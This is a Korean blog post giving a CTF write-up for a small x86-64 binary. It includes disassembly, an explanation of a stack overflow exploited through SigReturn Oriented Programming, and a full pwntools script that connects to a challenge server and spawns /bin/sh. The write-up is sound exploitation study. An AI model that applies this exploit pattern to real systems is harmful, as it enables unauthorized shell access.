티스토리 뷰

Summary

  • SROP (SigReturn Oriented Programming)

  • rt_sigreturn syscall

  • stack emulate

Analysis

 0x401000:  push   rbp  
 0x401001:  mov    rbp,rsp  
 0x401004:  sub    rsp,0x40  
 0x401008:  mov    eax,0x1  
 0x40100d:  mov    edi,0x1  
 0x401012:  lea    rsi,ds:0x402000 //"Hey, can i get some feedback for the CTF?"
 0x40101a:  mov    edx,0x2a  
 0x40101f:  syscall   
 0x401021:  mov    edi,0x0  
 0x401026:  lea    rsi,[rsp-0x40]  //buf
 0x40102b:  mov    edx,0x400  //overlfow
 0x401030:  push   0x0  
 0x401032:  pop    rax  
 0x401033:  syscall   
 0x401035:  leave   
 0x401036:  ret

간단히 syscall로 이루어져 있는 바이너리이다.

0x401033에서 rax 0(read)을 call해서 입력받을 때, overflow가 발생해서 rip를 컨트롤 할 수 있다.

pop rax; syscall; 가젯을 이용해서 rt_sigreturn 을 call해주면

여러 레지스터들을 control할 수 있는데, 여기서 execve() call 할때 필요한 "/bin/sh\x00"을 적어주는 동시에

rsprbp를 data영역으로 emulate 해서 overflow를 trigger한다 .

emulated stack에서 rt_sigreturn을 다시한번 call하고 execve("/bin/sh\x00") 를 호출해주면 된다.

Exploit

from pwn import *

s = remote("146.148.108.204", 4444)

context.arch = 'amd64'
gadget = 0x401027

s.recv()

prax = 0x401032  # pop rax; syscall;
syscall =  0x40101f #syscall;
rw = 0x402000 + 0x500

payload = "A"*0x88
payload += p64(prax)
payload += p64(0xf)

frame = SigreturnFrame()
frame.rax = 0 
frame.rsp = rw
frame.rbp = rw + 0x30
frame.rsi = rw
frame.rdi = 0
frame.rdx = 0x400
frame.rip = syscall

payload += str(frame)
s.sendline(payload)

payload2 = "/bin/sh\x00"
payload2 += "a"*(0x30)
payload2 += p64(prax)
payload2 += p64(0xf)

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = rw
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

payload2 += str(frame)

s.sendline(payload2)
s.interactive()

'pwnable > CTF write-up' 카테고리의 다른 글

[pwnpwnpwn-2] 0ctf 2017 babyheap  (0) 2020.01.03
[선린고등해커 2019] simple 풀이  (0) 2019.12.01
[Layer7 2019] How old are you? write-up  (0) 2019.10.11
64bit srop write-up  (0) 2018.08.05
[BCTF 2016] bcloud write-up  (0) 2018.07.28
Comments